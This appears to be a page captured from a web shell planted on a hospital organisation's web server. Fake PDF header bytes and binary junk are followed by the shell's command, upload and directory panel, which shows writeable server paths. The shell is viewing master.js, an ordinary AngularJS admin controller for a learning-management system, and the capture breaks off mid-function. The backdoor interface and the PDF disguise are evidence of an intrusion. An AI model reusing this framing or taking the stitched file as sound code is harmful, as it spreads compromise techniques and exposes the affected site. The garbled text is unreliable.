%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/shardalms/lms/lms/js/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/shardalms/lms/lms/js/master.js
/** Master **/
angular.module('MetronicApp').controller("Master", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	/** Program Type Start */
	CR.sdataCT={};
	CR.openCTform=function(dtl){
		hide_form_errors($("#ctfrm"));
		CR.ctDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#ctFormModal"));
	}
	
	CR.listCT=function(){
		show_loader();
		$http({url: API_URL+'master/programTypes', params:CR.sdataCT}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.ctLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveCT=function(){
		var frm=$("#ctfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveProgramType', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCT();
					hideModal($("#ctFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editCT=function(id){
		show_loader();
		$http({url: API_URL+'master/programTypeDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openCTform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteCT=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteProgramType', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCT();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Program Type End */

	/** Academic Careers Start */
	CR.sdataAC={};
	CR.openACform=function(dtl){
		hide_form_errors($("#acfrm"));
		CR.acDtl=dtl?dtl:{id:'', status:'1', req_10th:'0', req_12th:'0', req_ug:'0', req_pg:'0'};
		showModal($("#acFormModal"));
	}
	
	CR.listAC=function(){
		show_loader();
		$http({url: API_URL+'master/academicCareers', params:CR.sdataAC}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.acLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveAC=function(){
		var frm=$("#acfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveAcademicCareer', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listAC();
					hideModal($("#acFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editAC=function(id){
		show_loader();
		$http({url: API_URL+'master/academicCareerDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openACform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteAC=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteAcademicCareer', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listAC();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Academic Careers End */

	/** Discipline Start */
	CR.sdataDCP={};
	CR.openDCPform=function(dtl){
		hide_form_errors($("#dcpfrm"));
		CR.dcpDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#dcpFormModal"));
	}
	
	CR.listDCP=function(){
		show_loader();
		$http({url: API_URL+'master/disciplines', params:CR.sdataDCP}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.dcpLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveDCP=function(){
		var frm=$("#dcpfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveDiscipline', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listDCP();
					hideModal($("#dcpFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editDCP=function(id){
		show_loader();
		$http({url: API_URL+'master/disciplineDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openDCPform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteDCP=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteDiscipline', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listDCP();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Discipline End */

	/** School Start */
	CR.sdataSCH={};
	CR.schRob={};
	CR.openSCHform=function(dtl){
        hide_form_errors($("#schfrm"));
        $("#schfrm").find('[type="file"]').val('');
		CR.schDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#schFormModal"));
	}
	
	CR.listSCH=function(){
		show_loader();
		$http({url: API_URL+'master/schools', params:CR.sdataSCH}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.schLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveSCH=function(){
		var frm=$("#schfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveSchool', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listSCH();
					hideModal($("#schFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editSCH=function(rob){
        CR.schRob=rob;
		show_loader();
		$http({url: API_URL+'master/schoolDtl/'+rob.id}).success(
			function(res){
				hide_loader();
				CR.openSCHform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteSCH=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteSchool', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listSCH();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
    }
    
    CR.removeSchoolBrochure=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/removeSchoolBrochure', method:'POST', data:{id:id}}).success(
			function(res){
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					CR.schDtl.brochure='';
                    CR.schDtl.brochure_url='';
                    
                    CR.schRob.brochure='';
                    CR.schRob.brochure_url='';
					show_alert_msg(res.msg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.adata={};
	CR.schoolAccreditations=(rob)=>{
		CR.schRob=rob;
		show_loader();
		$http({url: API_URL+'master/schoolAccreditations', method:'POST', data:{school_id:rob.id}}).success(
			function(res){
				CR.accreditations=res.result;
				CR.schRob.accreditations_count=CR.accreditations.length;
				showModalNew($("#accreditationModal"), true);
			}
		);
	}

	CR.openAccreditationForm=(dtl)=>{
		CR.adata=dtl?{...dtl}:{};
		$("#accreditationFormModal").modal();
		$("#accreditationFormModal input[type='file']").val("");
	}

	CR.saveAccreditation=function(){
		var frm=$("#accreditation_frm");
		var formData=new FormData(frm[0]);
		formData.append("school_id", CR.schRob.id);
		show_loader();
		$http({url:API_URL+'master/saveSchoolAccreditation', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.schoolAccreditations(CR.schRob);
					hideModal($("#accreditationFormModal"));
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	CR.deleteAccreditation=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteSchoolAccreditation', method:'POST', data:{id}}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.schoolAccreditations(CR.schRob);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }

	CR.dmdata={};
	CR.schoolDeanMessages=(rob)=>{
		CR.schRob=rob;
		show_loader();
		$http({url: API_URL+'master/schoolDeanMessages', method:'POST', data:{school_id:rob.id}}).success(
			function(res){
				CR.dean_messages=res.result;
				CR.schRob.dean_messages_count=CR.dean_messages.length;
				showModalNew($("#deanMessageModal"), true);
			}
		);
	}

	CR.openDeanMessageForm=(dtl)=>{
		CR.dmdata=dtl?{...dtl}:{};
		$("#deanMessageFormModal").modal();
		$("#deanMessageFormModal input[type='file']").val("");
	}

	CR.saveDeanMessage=function(){
		var frm=$("#dean_message_frm");
		var formData=new FormData(frm[0]);
		formData.append("school_id", CR.schRob.id);
		show_loader();
		$http({url:API_URL+'master/saveSchoolDeanMessage', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.schoolDeanMessages(CR.schRob);
					hideModal($("#deanMessageFormModal"));
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}

	CR.deleteDeanMessage=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteSchoolDeanMessage', method:'POST', data:{id}}).success(
			function(res){
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.schoolDeanMessages(CR.schRob);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
    }
	/** \School End */

	/** Applicat Cats Start */
	CR.sdataACAT={};
	CR.openACATform=function(dtl){
		hide_form_errors($("#acatfrm"));
		CR.acatDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#acatFormModal"));
	}
	
	CR.listACAT=function(){
		show_loader();
		$http({url: API_URL+'master/applicantCats', params:CR.sdataACAT}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.acatLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveACAT=function(){
		var frm=$("#acatfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveApplicantCat', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listACAT();
					hideModal($("#acatFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editACAT=function(id){
		show_loader();
		$http({url: API_URL+'master/applicantCatDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openACATform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteACAT=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteApplicantCat', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listACAT();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Applicant Cats End */

	/** Applicat religions Start */
	CR.sdataAREL={};
	CR.openARELform=function(dtl){
		hide_form_errors($("#arelfrm"));
		CR.arelDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#arelFormModal"));
	}
	
	CR.listAREL=function(){
		show_loader();
		$http({url: API_URL+'master/applicantReligions', params:CR.sdataAREL}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.arelLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveAREL=function(){
		var frm=$("#arelfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveApplicantReligion', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listAREL();
					hideModal($("#arelFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editAREL=function(id){
		show_loader();
		$http({url: API_URL+'master/applicantReligionDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openARELform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteAREL=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteApplicantReligion', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listAREL();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Applicant religions End */

	/** Marking scheme Start */
	CR.sdataMSCH={};
	CR.openMSCHform=function(dtl){
		hide_form_errors($("#mschfrm"));
		CR.mschDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#mschFormModal"));
	}
	
	CR.listMSCH=function(){
		show_loader();
		$http({url: API_URL+'master/markingSchemes', params:CR.sdataMSCH}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.mschLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveMSCH=function(){
		var frm=$("#mschfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveMarkingScheme', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listMSCH();
					hideModal($("#mschFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editMSCH=function(id){
		show_loader();
		$http({url: API_URL+'master/markingSchemeDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openMSCHform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteMSCH=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteMarkingScheme', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listMSCH();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \Marking scheme End */

	/** Edu Board Start */
	CR.sdataBOARD={};
	CR.openBOARDform=function(dtl){
		hide_form_errors($("#boardfrm"));
		CR.boardDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#boardFormModal"));
	}
	
	CR.listBOARD=function(){
		show_loader();
		$http({url: API_URL+'master/eduBoards', params:CR.sdataBOARD}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.boardLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveBOARD=function(){
		var frm=$("#boardfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveEduBoard', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listBOARD();
					hideModal($("#boardFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editBOARD=function(id){
		show_loader();
		$http({url: API_URL+'master/eduBoardDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openBOARDform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteBOARD=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteEduBoard', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listBOARD();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	$scope.uploadBoardExcel=function(){
		var frm=$("#boardImpExcel");
		var formData=new FormData(frm[0]);
		
		show_loader();
		$http({url:API_URL+'master/uploadBoardExcel', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res){
				$('#boardExcelFile').val('');
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listBOARD();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	/** \Edu Board End */

	/** University Start */
	CR.sdataUNI={p:1};
	CR.openUNIform=function(dtl){
		hide_form_errors($("#unifrm"));
		CR.uniDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#uniFormModal"));
	}
	
	CR.listUNI=function(p){
		show_loader();
		CR.sdataUNI.p=p?p:1;
		$http({url: API_URL+'master/universities', params:CR.sdataUNI}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.uniLists=res.result;
				CR.uniPage=res.page;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveUNI=function(){
		var frm=$("#unifrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveUniversity', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listUNI(CR.uniDtl.id?CR.sdataUNI.p:1);
					hideModal($("#uniFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editUNI=function(id){
		show_loader();
		$http({url: API_URL+'master/universityDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openUNIform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteUNI=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteUniversity', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=CR.sdataUNI.p;
					if(CR.uniPage.total==1){
						pg=1;
					}
					CR.listUNI(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	$scope.uploadUniversityExcel=function(){
		var frm=$("#uniImpExcel");
		var formData=new FormData(frm[0]);
		
		show_loader();
		$http({url:API_URL+'master/uploadUniversityExcel', method:'POST', data:formData, headers:{'Content-Type': undefined}}).success(
			function(res){
				$('#uniExcelFile').val('');
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listUNI();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		);
	}
	/** \University End */

	/** GA Code */
	CR.gaData={};
	CR.getGACode=function(){
		show_loader();
		$http({url: API_URL+'master/getGACode'}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.gaData=res.dtl;
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.saveGACode=function(){
		show_loader();
		$http({url:API_URL+'master/saveGACode', method:'POST', data:((CR.gaData))}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	/** \GA Code End */

	/** Admin Emails */
	CR.sdataAE={p:1};
	CR.openAEform=function(dtl){
		hide_form_errors($("#aefrm"));
		CR.aeDtl=dtl?dtl:{id:''};
		showModal($("#aeFormModal"));
	}
	
	CR.listAE=function(p){
		show_loader();
		CR.sdataAE.p=p?p:1;
		$http({url: API_URL+'master/reportingUsersEmails', params:CR.sdataAE}).success(
			function(res){
				//res=Auth.checkRes(res); 
				CR.AEList=res.result;
				CR.AEPage=res.page;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveAE=function(){
		var frm=$("#aefrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveReportingUsersEmail', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listAE(CR.aeDtl.id?CR.sdataAE.p:1);
					hideModal($("#aeFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editAE=function(id){
		show_loader();
		$http({url: API_URL+'master/reportingUserEmailDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openAEform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteAE=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteReportingUserEmail', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					var pg=CR.sdataAE.p;
					if(CR.AEPage.total==1){
						pg=1;
					}
					CR.listAE(pg);
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	
	/** Init **/
	CR.init=function(){
        CR.listCT();
	}
	CR.init();
});

/** UTM Sources **/
angular.module('MetronicApp').controller("UtmSource", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	CR.sdataUTM={};
	CR.openUTMform=function(dtl){
		hide_form_errors($("#utmfrm"));
		CR.utmDtl=dtl?dtl:{id:'', default_for_admin:'0', ispaid:'0', status:'1'};
		showModal($("#utmFormModal"));
	}
	
	CR.listUTM=function(){
		show_loader();
		$http({url: API_URL+'master/utmSources', params:CR.sdataUTM}).success(
			function(res){
				CR.utmLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveUTM=function(){
		var frm=$("#utmfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveUtmSource', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listUTM();
					hideModal($("#utmFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editUTM=function(id){
		show_loader();
		$http({url: API_URL+'master/utmSourceDtl/'+id}).success(
			function(res){
				hide_loader();
				CR.openUTMform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteUTM=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteUtmSource', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listUTM();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Init */
	CR.listUTM();
});


/** Offers / Coupans **/
angular.module('MetronicApp').controller("Coupan", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	CR.sdataCPN={};
	CR.openCPNform=function(dtl){
		hide_form_errors($("#cpnfrm"));
		CR.cpnDtl=dtl?dtl:{id:'', status:'1'};
		showModal($("#cpnFormModal"));
	}
	
	CR.listCPN=function(init){
		show_loader();
		$http({url: API_URL+'master/coupans', params:CR.sdataCPN}).success(
			function(res){
				//res=Auth.checkRes(res);
				CR.cpnLists=res.result;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveCPN=function(){
		var frm=$("#cpnfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveCoupan', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCPN();
					hideModal($("#cpnFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editCPN=function(id){
		show_loader();
		$http({url: API_URL+'master/coupanDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openCPNform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteCPN=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteCoupan', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listCPN();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	/** Init */
	setBsDatepicker();
	CR.listCPN();
});


/** State **/
angular.module('MetronicApp').controller("State", function($scope, $http, $state, $location, $timeout, Auth){
	var CR=this;

	CR.sdataSTT={};
	CR.openSTTform=function(dtl){
		hide_form_errors($("#sttfrm"));
        CR.sttDtl=dtl?dtl:{id:'', status:'1'};
        showModal($("#sttFormModal"));

        $('.stateCpnChk').find(".allChk, .chk").prop('checked', false);
        if(dtl){
			for(i=0; i<dtl.coupanIds.length; i++){
				$('.stateCpnChk').find(".chk[value='"+dtl.coupanIds[i]['coupan_id']+"']").prop('checked', true);
			}
		}
	}
	
	CR.listSTT=function(){
		show_loader();
		$http({url: API_URL+'master/states', params:CR.sdataSTT}).success(
			function(res){
				//res=Auth.checkRes(res);
                CR.sttLists=res.result;
                CR.coupans=res.coupans;
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.saveSTT=function(){
		var frm=$("#sttfrm");
		hide_form_errors(frm);
		var formData=new FormData(frm[0]);
		show_loader();
		$http({url:API_URL+'master/saveState', method:'POST', data:(formData), headers:{'Content-Type': undefined}}).success(
			function(res) {
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listSTT();
					hideModal($("#sttFormModal"));
				}else{
					show_form_errors(res.errors, frm);
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.editSTT=function(id){
		show_loader();
		$http({url: API_URL+'master/stateDtl/'+id}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				CR.openSTTform(res);
			}
		).error(function(res){showHttpErr(res);});
	}
	
	CR.deleteSTT=function(id){
		if(!confirm("Are you sure to delete?")){
			return;
		}
		show_loader();
		$http({url: API_URL+'master/deleteState', method:'POST', data:(( {id:id} ))}).success(
			function(res){
				hide_loader();
				//res=Auth.checkRes(res);
				if(res.success=='T'){
					show_alert_msg(res.msg);
					CR.listSTT();
				}else{
					show_alert_msg(res.msg, 'E');
				}
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.selectedST={};
	CR.initCities=function(){
		App.blockUI({target: '#statePBBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'master/initCities'}).success(
			function(res){
				App.unblockUI('#statePBBx');
				//res=Auth.checkRes(res);
				CR.allStates=res.allStates;
				CR.getCities(CR.allStates[0]);
			}
		).error(function(res){showHttpErr(res);});
	}

	CR.getCities=function(obj){
		CR.selectedST=obj;
		CR.searchStateInput='';
		$.each(CR.allStates, function(k, v){
			if(v.id==CR.selectedST.id){
				CR.allStates[k]['actClass']='active';
			}else{
				CR.allStates[k]['actClass']='';
			}
		});
		
		App.blockUI({target: '#citiesPBBx', boxed: true, message: 'Loading...'});
		$http({url: API_URL+'master/getCities/'+CR.selectedST.id}).success(
			function(res){
				App.unblockUI('#citiesPBBx');
				//res=Auth.checkRes(res);
				CR.cities=res.cities;
				CR.selectedST.noOfCities=CR.cities.length;
			}
